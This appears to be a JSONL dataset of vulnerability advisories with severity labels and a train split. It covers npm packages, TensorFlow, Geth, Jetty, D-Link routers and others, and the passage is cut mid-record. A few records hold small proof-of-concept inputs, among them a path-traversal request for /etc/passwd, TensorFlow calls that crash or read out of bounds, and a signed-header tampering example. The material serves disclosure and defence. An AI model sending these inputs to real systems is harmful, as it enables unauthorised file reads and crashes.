-{"id": "cf0dceab48417c94220c", "text": "GPGME Go wrapper contains Use After Free\n\nThe proglottis Go wrapper before 0.1.1 for the GPGME library has a use-after-free, as demonstrated by use for container image pulls by Docker or CRI-O. This leads to a crash or potential code execution during GPG signature verification.", "text_raw": "GPGME Go wrapper contains Use After Free\n\n[Severity: HIGH]\n\nThe proglottis Go wrapper before 0.1.1 for the GPGME library has a use-after-free, as demonstrated by use for container image pulls by Docker or CRI-O. This leads to a crash or potential code execution during GPG signature verification.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "d685cfa82d88d9cccea9", "text": "D-Link DIR-825 R1 Devices Buffer Overflow Vulnerability\n\nAffected: D-Link DIR-825 R1 Devices\n\nD-Link DIR-825 R1 devices contain a buffer overflow vulnerability in the web interface that may allow for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-119\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "D-Link DIR-825 R1 Devices Buffer Overflow Vulnerability\n\nAffected: D-Link DIR-825 R1 Devices\n\nD-Link DIR-825 R1 devices contain a buffer overflow vulnerability in the web interface that may allow for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-119\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "4a98094e4f3015cab277", "text": "Improper Control of Dynamically-Managed Code Resources in config-shield\n\nscripts/cli.js in the GoDaddy node-config-shield (aka Config Shield) package before 0.2.2 for Node.js calls eval when processing a set command. **NOTE:** the vendor reportedly states that this is not a vulnerability. The set command was not intended for use with untrusted data.", "text_raw": "Improper Control of Dynamically-Managed Code Resources in config-shield\n\n[Severity: MEDIUM]\n\nscripts/cli.js in the GoDaddy node-config-shield (aka Config Shield) package before 0.2.2 for Node.js calls eval when processing a set command. **NOTE:** the vendor reportedly states that this is not a vulnerability. The set command was not intended for use with untrusted data.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "2161cf4c61499723649f", "text": "XML External Entity Reference in mchange:c3p0\n\nc3p0 0.9.5.2 allows XXE in extractXmlConfigFromInputStream in com/mchange/v2/c3p0/cfg/C3P0ConfigXmlUtils.java during initialization.", "text_raw": "XML External Entity Reference in mchange:c3p0\n\n[Severity: CRITICAL]\n\nc3p0 0.9.5.2 allows XXE in extractXmlConfigFromInputStream in com/mchange/v2/c3p0/cfg/C3P0ConfigXmlUtils.java during initialization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-01-07", "split": "train"}
-{"id": "d2c292b1be450a953bc5", "text": "Directory Traversal in myserver.alexcthomas18\n\nAffected versions of `myserver.alexcthomas18` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in myserver.alexcthomas18\n\n[Severity: HIGH]\n\nAffected versions of `myserver.alexcthomas18` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "1b1967edeb3da521beb1", "text": "Tracking Module in botbait\n\nThe module `botbait` is a tool to be used to track bot and automated tools usage with-in the npm ecosystem.\n\n`botbait` is known to record and track user information.\n\nThe module tracks the following information.\n- Source IP\n- process.versions\n- process.platform\n- How the module was invoked (test, require, pre-install)\n\n## Recommendation\n\nThis package has no functional value, and should be removed from your environment if discovered.", "text_raw": "Tracking Module in botbait\n\n[Severity: MEDIUM]\n\nThe module `botbait` is a tool to be used to track bot and automated tools usage with-in the npm ecosystem.\n\n`botbait` is known to record and track user information.\n\nThe module tracks the following information.\n- Source IP\n- process.versions\n- process.platform\n- How the module was invoked (test, require, pre-install)\n\n\n## Recommendation\n\nThis package has no functional value, and should be removed from your environment if discovered.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "58d8bc175709ca395bbd", "text": "HTTP Request Smuggling in reel\n\nreel through 0.6.1 allows Request Smuggling attacks due to incorrect Content-Length and Transfer encoding header parsing. It is possible to conduct HTTP request smuggling attacks by sending the Content-Length header twice. Furthermore, invalid Transfer Encoding headers were found to be parsed as valid which could be leveraged for TECL smuggling attacks. Note, This project is deprecated, and is not maintained any more.", "text_raw": "HTTP Request Smuggling in reel\n\n[Severity: HIGH]\n\nreel through 0.6.1 allows Request Smuggling attacks due to incorrect Content-Length and Transfer encoding header parsing. It is possible to conduct HTTP request smuggling attacks by sending the Content-Length header twice. Furthermore, invalid Transfer Encoding headers were found to be parsed as valid which could be leveraged for TECL smuggling attacks. Note, This project is deprecated, and is not maintained any more.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "c8eeb83856863e261225", "text": "ikst Downloads Resources over HTTP\n\nAffected versions of `ikst` insecurely download resources over HTTP.\n\n## Recommendation\n\nUpgrade to version 1.1.2 or greater.", "text_raw": "ikst Downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `ikst` insecurely download resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.\n\n\n## Recommendation\n\nUpgrade to version 1.1.2 or greater.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "f42fa5dc66c59f7b4f54", "text": "OpenMRS 2.3 (1.11.4) Expression Language Injection Vulnerability", "text_raw": "OpenMRS 2.3 (1.11.4) Expression Language Injection Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-12-07", "split": "train"}
-{"id": "e8ac0d7cbf9f9624fe97", "text": "Apple iOS WebKit Use-After-Free Vulnerability\n\nAffected: Apple iOS\n\nApple iOS WebKit contains a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple iOS WebKit Use-After-Free Vulnerability\n\nAffected: Apple iOS\n\nApple iOS WebKit contains a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "073481a41fad3abf8e2a", "text": "EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 Root Remote Code Execution", "text_raw": "EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 Root Remote Code Execution\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2017-06-04", "split": "train"}
-{"id": "447ac4679605d1f13804", "text": "XStream is vulnerable to an Arbitrary Code Execution attack\n\n### Impact\nThe vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-21350](https://x-stream.github.io/CVE-2021-21350.html).\n\n### Credits\nThe vulnerability was discovered and reported by threedr3am.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "XStream is vulnerable to an Arbitrary Code Execution attack\n\n[Severity: MEDIUM]\n\n### Impact\nThe vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.16.\n\n### Workarounds\nSee [workarounds](https://x-stream.github.io/security.html#workaround) for the different versions covering all CVEs.\n\n### References\nSee full information about the nature of the vulnerability and the steps to reproduce it in XStream's documentation for [CVE-2021-21350](https://x-stream.github.io/CVE-2021-21350.html).\n\n### Credits\nThe vulnerability was discovered and reported by threedr3am.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-22", "split": "train"}
-{"id": "6cc35b609e1a1bfd0fbf", "text": "Cross-Site Scripting in JSPWiki\n\nA carefully crafted malicious attachment could trigger an XSS vulnerability on Apache JSPWiki 2.9.0 to 2.11.0.M3, which could lead to session hijacking.", "text_raw": "Cross-Site Scripting in JSPWiki\n\n[Severity: MEDIUM]\n\nA carefully crafted malicious attachment could trigger an XSS vulnerability on Apache JSPWiki 2.9.0 to 2.11.0.M3, which could lead to session hijacking.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-06", "split": "train"}
-{"id": "7886c917e1c234154faa", "text": "Slock<T> allows sending non-Send types across thread boundaries\n\n`Slock<T>` unconditionally implements `Send`/`Sync`.\n\nAffected versions of this crate allows sending non-Send types to other threads,\nwhich can lead to data races and memory corruption due to the data race.", "text_raw": "Slock<T> allows sending non-Send types across thread boundaries\n\n[Severity: HIGH]\n\n`Slock<T>` unconditionally implements `Send`/`Sync`.\n\nAffected versions of this crate allows sending non-Send types to other threads,\nwhich can lead to data races and memory corruption due to the data race.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "0fb9b7cad1df592af6ee", "text": "Authentication Bypass by Alternate Name in Apache Tomcat\n\nA vulnerability in the JNDI Realm of Apache Tomcat allows an attacker to authenticate using variations of a valid user name and/or to bypass some of the protection provided by the LockOut Realm. This issue affects Apache Tomcat 10.0.0-M1 to 10.0.5; 9.0.0.M1 to 9.0.45; 8.5.0 to 8.5.65.", "text_raw": "Authentication Bypass by Alternate Name in Apache Tomcat\n\n[Severity: MEDIUM]\n\nA vulnerability in the JNDI Realm of Apache Tomcat allows an attacker to authenticate using variations of a valid user name and/or to bypass some of the protection provided by the LockOut Realm. This issue affects Apache Tomcat 10.0.0-M1 to 10.0.5; 9.0.0.M1 to 9.0.45; 8.5.0 to 8.5.65.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-13", "split": "train"}
-{"id": "6faf23dca13625f89666", "text": "Electron's sandboxed renderers can obtain thumbnails of arbitrary files through the nativeImage API\n\n### Impact\nThis vulnerability allows a sandboxed renderer to request a \"thumbnail\" image of an arbitrary file on the user's system. The thumbnail can potentially include significant parts of the original file, including textual data in many cases.\n\nAll current stable versions of Electron are affected.\n\n### Patches\nThis was fixed with #30728, and the following Electron versions contain the fix:\n\n- 15.0.0-alpha.10\n- 14.0.0\n- 13.3.0\n- 12.1.0\n- 11.5.0\n\n### Workarounds\nIf your app enables `contextIsolation`, this vulnerability is significantly more difficult for an attacker to exploit.\n\nFurther, if your app does not depend on the `createThumbnailFromPath` API, then you can simply disable the functionality. In the main process, before the 'ready' event:\n```js\ndelete require('electron').nativeImage.createThumbnailFromPath\n```\n\n### For more information\nIf you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org).", "text_raw": "Electron's sandboxed renderers can obtain thumbnails of arbitrary files through the nativeImage API\n\n[Severity: MEDIUM]\n\n### Impact\nThis vulnerability allows a sandboxed renderer to request a \"thumbnail\" image of an arbitrary file on the user's system. The thumbnail can potentially include significant parts of the original file, including textual data in many cases.\n\nAll current stable versions of Electron are affected.\n\n### Patches\nThis was fixed with #30728, and the following Electron versions contain the fix:\n\n- 15.0.0-alpha.10\n- 14.0.0\n- 13.3.0\n- 12.1.0\n- 11.5.0\n\n### Workarounds\nIf your app enables `contextIsolation`, this vulnerability is significantly more difficult for an attacker to exploit.\n\nFurther, if your app does not depend on the `createThumbnailFromPath` API, then you can simply disable the functionality. In the main process, before the 'ready' event:\n```js\ndelete require('electron').nativeImage.createThumbnailFromPath\n```\n\n### For more information\nIf you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "37e5cf3f1e4dc2483cb9", "text": "Jetty vulnerable to authorization bypass due to inconsistent HTTP request handling (HTTP Request Smuggling)\n\nEclipse Jetty Server versions 9.2.x and older, 9.3.x (all non HTTP/1.x configurations), and 9.4.x (all HTTP/1.x configurations), are vulnerable to HTTP Request Smuggling when presented with two content-lengths headers, allowing authorization bypass. When presented with a content-length and a chunked encoding header, the content-length was ignored (as per RFC 2616). If an intermediary decides on the shorter length, but still passes on the longer body, then body content could be interpreted by Jetty as a pipelined request. If the intermediary is imposing authorization, the fake pipelined request bypasses that authorization.", "text_raw": "Jetty vulnerable to authorization bypass due to inconsistent HTTP request handling (HTTP Request Smuggling)\n\n[Severity: CRITICAL]\n\nEclipse Jetty Server versions 9.2.x and older, 9.3.x (all non HTTP/1.x configurations), and 9.4.x (all HTTP/1.x configurations), are vulnerable to HTTP Request Smuggling when presented with two content-lengths headers, allowing authorization bypass. When presented with a content-length and a chunked encoding header, the content-length was ignored (as per RFC 2616). If an intermediary decides on the shorter length, but still passes on the longer body, then body content could be interpreted by Jetty as a pipelined request. If the intermediary is imposing authorization, the fake pipelined request bypasses that authorization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "08fd0e66af1fdb8f4c4b", "text": "Geth Node Vulnerable to DoS via maliciously crafted p2p message\n\n### Impact\n\nA vulnerable node is susceptible to crash when processing a maliciously crafted message from a peer, via the `snap/1` protocol. The crash can be triggered by sending a malicious `snap/1` `GetTrieNodes` package.\n\n### Details\n\nOn September 21, 2021, geth-team member Gary Rong (@rjl493456442) found a way to crash the snap request handler . \nBy using this vulnerability, a peer connected on the `snap/1` protocol could cause a vulnerable node to crash with a `panic`.\n\nIn the `trie.TryGetNode` implementation, if the requested path is reached, the associated node will be returned. However the nilness is\nnot checked there.\n\n```golang\nfunc (t *Trie) tryGetNode(origNode node, path []byte, pos int) (item []byte, newnode node, resolved int, err error) {\n\t// If we reached the requested path, return the current node\n\tif pos >= len(path) {\n\t\t// Although we most probably have the original node expanded, encoding\n\t\t// that into consensus form can be nasty (needs to cascade down) and\n\t\t// time consuming. Instead, just pull the hash up from disk directly.\n\t\tvar hash hashNode\n\t\tif node, ok := origNode.(hashNode); ok {\n\t\t\thash = node\n\t\t} else {\n\t\t\thash, _ = origNode.cache()\n\t\t}\n```\nMore specifically the `origNode` can be nil(e.g. the child of fullnode) and system can panic at line `hash, _ = origNode.cache()`.\n\nWhen investigating this, @holiman tried to find it via fuzzing, which uncovered a second crasher, also related to the snap `GetTrieNodes` package. If the caller requests a storage trie:\n```golang\n\t\t\t\t// Storage slots requested, open the storage trie and retrieve from there\n\t\t\t\taccount, err := snap.Account(common.BytesToHash(pathset[0]))\n\t\t\t\tloads++ // always account database reads, even for failures\n\t\t\t\tif account == nil {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tstTrie, err := trie.NewSecure(common.BytesToHash(account.Root), triedb)\n```\nThe code assumes that `snap.Account` returns _either_ a non-nil response unless `error` is also provided. This is however not the case, since `snap.Account` can return `nil, nil`.\n\n### Patches\n\n```diff\n--- a/eth/protocols/snap/handler.go\n+++ b/eth/protocols/snap/handler.go\n@@ -469,7 +469,7 @@ func handleMessage(backend Backend, peer *Peer) error {\n \t\t\t\t// Storage slots requested, open the storage trie and retrieve from there\n \t\t\t\taccount, err := snap.Account(common.BytesToHash(pathset[0]))\n \t\t\t\tloads++ // always account database reads, even for failures\n-\t\t\t\tif err != nil {\n+\t\t\t\tif err != nil || account == nil {\n \t\t\t\t\tbreak\n \t\t\t\t}\n \t\t\t\tstTrie, err := trie.NewSecure(common.BytesToHash(account.Root), triedb)\ndiff --git a/trie/trie.go b/trie/trie.go\nindex 7ea7efa835..d0f0d4e2bc 100644\n--- a/trie/trie.go\n+++ b/trie/trie.go\n@@ -174,6 +174,10 @@ func (t *Trie) TryGetNode(path []byte) ([]byte, int, error) {\n }\n\nfunc (t *Trie) tryGetNode(origNode node, path []byte, pos int) (item []byte, newnode node, resolved int, err error) {\n+\t// If non-existent path requested, abort\n+\tif origNode == nil {\n+\t\treturn nil, nil, 0, nil\n+\t}\n \t// If we reached the requested path, return the current node\n \tif pos >= len(path) {\n \t\t// Although we most probably have the original node expanded, encoding\n@@ -193,10 +197,6 @@ func (t *Trie) tryGetNode(origNode node, path []byte, pos int) (item []byte, new\n \t}\n \t// Path still needs to be traversed, descend into children\n \tswitch n := (origNode).(type) {\n-\tcase nil:\n-\t\t// Non-existent path requested, abort\n-\t\treturn nil, nil, 0, nil\n-\n \tcase valueNode:\n \t\t// Path prematurely ended, abort\n \t\treturn nil, nil, 0, nil\n\n``` \nThe fixes were merged into [#23657](https://github.com/ethereum/go-ethereum/pull/23657), with commit [f1fd963](https://github.com/ethereum/go-ethereum/pull/23657/commits/f1fd963a5a965e643e52fcf805a2a02a323c32b8), and released as part of Geth [v1.10.9](https://github.com/ethereum/go-ethereum/tree/v1.10.9) on Sept 29, 2021.\n\n### Workarounds\n\nApply the patch above or upgrade to a version which is not vulnerable.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go", "text_raw": "Geth Node Vulnerable to DoS via maliciously crafted p2p message \n\n[Severity: MEDIUM]\n\n### Impact\n\nA vulnerable node is susceptible to crash when processing a maliciously crafted message from a peer, via the `snap/1` protocol. The crash can be triggered by sending a malicious `snap/1` `GetTrieNodes` package. \n\n### Details\n\nOn September 21, 2021, geth-team member Gary Rong (@rjl493456442) found a way to crash the snap request handler . \nBy using this vulnerability, a peer connected on the `snap/1` protocol could cause a vulnerable node to crash with a `panic`.\n\nIn the `trie.TryGetNode` implementation, if the requested path is reached, the associated node will be returned. However the nilness is\nnot checked there.\n\n```golang\nfunc (t *Trie) tryGetNode(origNode node, path []byte, pos int) (item []byte, newnode node, resolved int, err error) {\n\t// If we reached the requested path, return the current node\n\tif pos >= len(path) {\n\t\t// Although we most probably have the original node expanded, encoding\n\t\t// that into consensus form can be nasty (needs to cascade down) and\n\t\t// time consuming. Instead, just pull the hash up from disk directly.\n\t\tvar hash hashNode\n\t\tif node, ok := origNode.(hashNode); ok {\n\t\t\thash = node\n\t\t} else {\n\t\t\thash, _ = origNode.cache()\n\t\t}\n```\nMore specifically the `origNode` can be nil(e.g. the child of fullnode) and system can panic at line `hash, _ = origNode.cache()`. \n\nWhen investigating this, @holiman tried to find it via fuzzing, which uncovered a second crasher, also related to the snap `GetTrieNodes` package. If the caller requests a storage trie:\n```golang\n\t\t\t\t// Storage slots requested, open the storage trie and retrieve from there\n\t\t\t\taccount, err := snap.Account(common.BytesToHash(pathset[0]))\n\t\t\t\tloads++ // always account database reads, even for failures\n\t\t\t\tif account == nil {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tstTrie, err := trie.NewSecure(common.BytesToHash(account.Root), triedb)\n```\nThe code assumes that `snap.Account` returns _either_ a non-nil response unless `error` is also provided. This is however not the case, since `snap.Account` can return `nil, nil`. \n\n### Patches\n\n```diff\n--- a/eth/protocols/snap/handler.go\n+++ b/eth/protocols/snap/handler.go\n@@ -469,7 +469,7 @@ func handleMessage(backend Backend, peer *Peer) error {\n \t\t\t\t// Storage slots requested, open the storage trie and retrieve from there\n \t\t\t\taccount, err := snap.Account(common.BytesToHash(pathset[0]))\n \t\t\t\tloads++ // always account database reads, even for failures\n-\t\t\t\tif err != nil {\n+\t\t\t\tif err != nil || account == nil {\n \t\t\t\t\tbreak\n \t\t\t\t}\n \t\t\t\tstTrie, err := trie.NewSecure(common.BytesToHash(account.Root), triedb)\ndiff --git a/trie/trie.go b/trie/trie.go\nindex 7ea7efa835..d0f0d4e2bc 100644\n--- a/trie/trie.go\n+++ b/trie/trie.go\n@@ -174,6 +174,10 @@ func (t *Trie) TryGetNode(path []byte) ([]byte, int, error) {\n }\n \n func (t *Trie) tryGetNode(origNode node, path []byte, pos int) (item []byte, newnode node, resolved int, err error) {\n+\t// If non-existent path requested, abort\n+\tif origNode == nil {\n+\t\treturn nil, nil, 0, nil\n+\t}\n \t// If we reached the requested path, return the current node\n \tif pos >= len(path) {\n \t\t// Although we most probably have the original node expanded, encoding\n@@ -193,10 +197,6 @@ func (t *Trie) tryGetNode(origNode node, path []byte, pos int) (item []byte, new\n \t}\n \t// Path still needs to be traversed, descend into children\n \tswitch n := (origNode).(type) {\n-\tcase nil:\n-\t\t// Non-existent path requested, abort\n-\t\treturn nil, nil, 0, nil\n-\n \tcase valueNode:\n \t\t// Path prematurely ended, abort\n \t\treturn nil, nil, 0, nil\n\n``` \nThe fixes were merged into [#23657](https://github.com/ethereum/go-ethereum/pull/23657), with commit [f1fd963](https://github.com/ethereum/go-ethereum/pull/23657/commits/f1fd963a5a965e643e52fcf805a2a02a323c32b8), and released as part of Geth [v1.10.9](https://github.com/ethereum/go-ethereum/tree/v1.10.9) on Sept 29, 2021. \n\n### Workarounds\n\nApply the patch above or upgrade to a version which is not vulnerable.\n\n### For more information\nIf you have any questions or comments about this advis", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-25", "split": "train"}
-{"id": "1bcca073301c098fa243", "text": "Deserialization of Untrusted Data in Apache Storm\n\nIn Apache Storm versions 1.1.0 to 1.2.2, when the user is using the storm-kafka-client or storm-kafka modules, it is possible to cause the Storm UI daemon to deserialize user provided bytes into a Java class.", "text_raw": "Deserialization of Untrusted Data in Apache Storm\n\n[Severity: CRITICAL]\n\nIn Apache Storm versions 1.1.0 to 1.2.2, when the user is using the storm-kafka-client or storm-kafka modules, it is possible to cause the Storm UI daemon to deserialize user provided bytes into a Java class.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-08-01", "split": "train"}
-{"id": "39927365d4e8c4c1bbbd", "text": "Header Forgery in http-signature\n\nAffected versions of `http-signature` contain a vulnerability which can allow an attacker in a privileged network position to modify header names and change the meaning of the request, without requiring an updated signature.\n\nThis problem occurs because vulnerable versions of `http-signature` sign the contents of headers, but not the header names.\n\n## Proof of Concept\n\nConsider this to be the initial, untampered request:\n```http\nPOST /pay HTTP/1.1\nHost: example.com\nDate: Thu, 05 Jan 2012 21:31:40 GMT\nX-Payment-Source: src@money.com\nX-Payment-Destination: dst@money.com\nAuthorization: Signature keyId=\"Test\",algorithm=\"rsa-sha256\",headers=\"x-payment-source x-payment-destination\" MDyO5tSvin5...\n```\n\nAnd the request is intercepted and tampered as follows:\n```http\nX-Payment-Source: dst@money.com // Emails switched\nX-Payment-Destination: src@money.com\nAuthorization: Signature keyId=\"Test\",algorithm=\"rsa-sha256\",headers=\"x-payment-destination x-payment-source\" MDyO5tSvin5...\n```\n\nIn the resulting responses, both requests would pass signature verification without issue.\n```\nsrc@money.com\\n\ndst@money.com\\n\n```\n\n## Recommendation\n\nUpdate to version 0.10.0 or higher.", "text_raw": "Header Forgery in http-signature\n\n[Severity: HIGH]\n\nAffected versions of `http-signature` contain a vulnerability which can allow an attacker in a privileged network position to modify header names and change the meaning of the request, without requiring an updated signature. \n\nThis problem occurs because vulnerable versions of `http-signature` sign the contents of headers, but not the header names.\n\n## Proof of Concept\n\nConsider this to be the initial, untampered request:\n```http\nPOST /pay HTTP/1.1\nHost: example.com\nDate: Thu, 05 Jan 2012 21:31:40 GMT\nX-Payment-Source: src@money.com\nX-Payment-Destination: dst@money.com\nAuthorization: Signature keyId=\"Test\",algorithm=\"rsa-sha256\",headers=\"x-payment-source x-payment-destination\" MDyO5tSvin5...\n```\n\nAnd the request is intercepted and tampered as follows:\n```http\nX-Payment-Source: dst@money.com // Emails switched\nX-Payment-Destination: src@money.com\nAuthorization: Signature keyId=\"Test\",algorithm=\"rsa-sha256\",headers=\"x-payment-destination x-payment-source\" MDyO5tSvin5...\n```\n\nIn the resulting responses, both requests would pass signature verification without issue.\n```\nsrc@money.com\\n\ndst@money.com\\n\n```\n\n\n\n## Recommendation\n\nUpdate to version 0.10.0 or higher.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "37429812e541c08c8c36", "text": "InfraPower PPS-02-S Q213V1 Hard-coded Credentials Remote Root Access", "text_raw": "InfraPower PPS-02-S Q213V1 Hard-coded Credentials Remote Root Access\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2016-10-28", "split": "train"}
-{"id": "2a3573d400ff2d063dae", "text": "Malicious Package in import-mysql\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in import-mysql\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "bdb4c6a3ec3e46ef7feb", "text": "Null pointer dereference and heap OOB read in operations restoring tensors\n\n### Impact\nWhen restoring tensors via raw APIs, if the tensor name is not provided, TensorFlow can be tricked into dereferencing a null pointer:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.Restore(\n  file_pattern=['/tmp'],\n  tensor_name=[], \n  default_value=21,\n  dt=tf.int,\n  preferred_shard=1)\n```\n\nThe same undefined behavior can be triggered by `tf.raw_ops.RestoreSlice`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.RestoreSlice(\n  file_pattern=['/tmp'],\n  tensor_name=[], \n  shape_and_slice='2',\n  dt=inp.array([tf.int]),\n  preferred_shard=1)\n```\n\nAlternatively, attackers can read memory outside the bounds of heap allocated data by providing some tensor names but not enough for a successful restoration:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.Restore(\n  file_pattern=['/tmp'],\n  tensor_name=['x'], \n  default_value=21,\n  dt=tf.int,\n  preferred_shard=42)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/47a06f40411a69c99f381495f490536972152ac0/tensorflow/core/kernels/save_restore_tensor.cc#L158-L159) retrieves the tensor list corresponding to the `tensor_name` user controlled input and immediately retrieves the tensor at the restoration index (controlled via `preferred_shard` argument). This occurs without validating that the provided list has enough values.\n\nIf the list is empty this results in dereferencing a null pointer (undefined behavior). If, however, the list has some elements, if the restoration index is outside the bounds this results in heap OOB read.\n\n### Patches \nWe have patched the issue in GitHub commit [9e82dce6e6bd1f36a57e08fa85af213e2b2f2622](https://github.com/tensorflow/tensorflow/commit/9e82dce6e6bd1f36a57e08fa85af213e2b2f2622).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Null pointer dereference and heap OOB read in operations restoring tensors\n\n[Severity: HIGH]\n\n### Impact\nWhen restoring tensors via raw APIs, if the tensor name is not provided, TensorFlow can be tricked into dereferencing a null pointer:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.Restore(\n  file_pattern=['/tmp'],\n  tensor_name=[], \n  default_value=21,\n  dt=tf.int,\n  preferred_shard=1)\n```\n  \nThe same undefined behavior can be triggered by `tf.raw_ops.RestoreSlice`:\n  \n```python\nimport tensorflow as tf\n\ntf.raw_ops.RestoreSlice(\n  file_pattern=['/tmp'],\n  tensor_name=[], \n  shape_and_slice='2',\n  dt=inp.array([tf.int]),\n  preferred_shard=1)\n```\n\nAlternatively, attackers can read memory outside the bounds of heap allocated data by providing some tensor names but not enough for a successful restoration:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.Restore(\n  file_pattern=['/tmp'],\n  tensor_name=['x'], \n  default_value=21,\n  dt=tf.int,\n  preferred_shard=42)\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/47a06f40411a69c99f381495f490536972152ac0/tensorflow/core/kernels/save_restore_tensor.cc#L158-L159) retrieves the tensor list corresponding to the 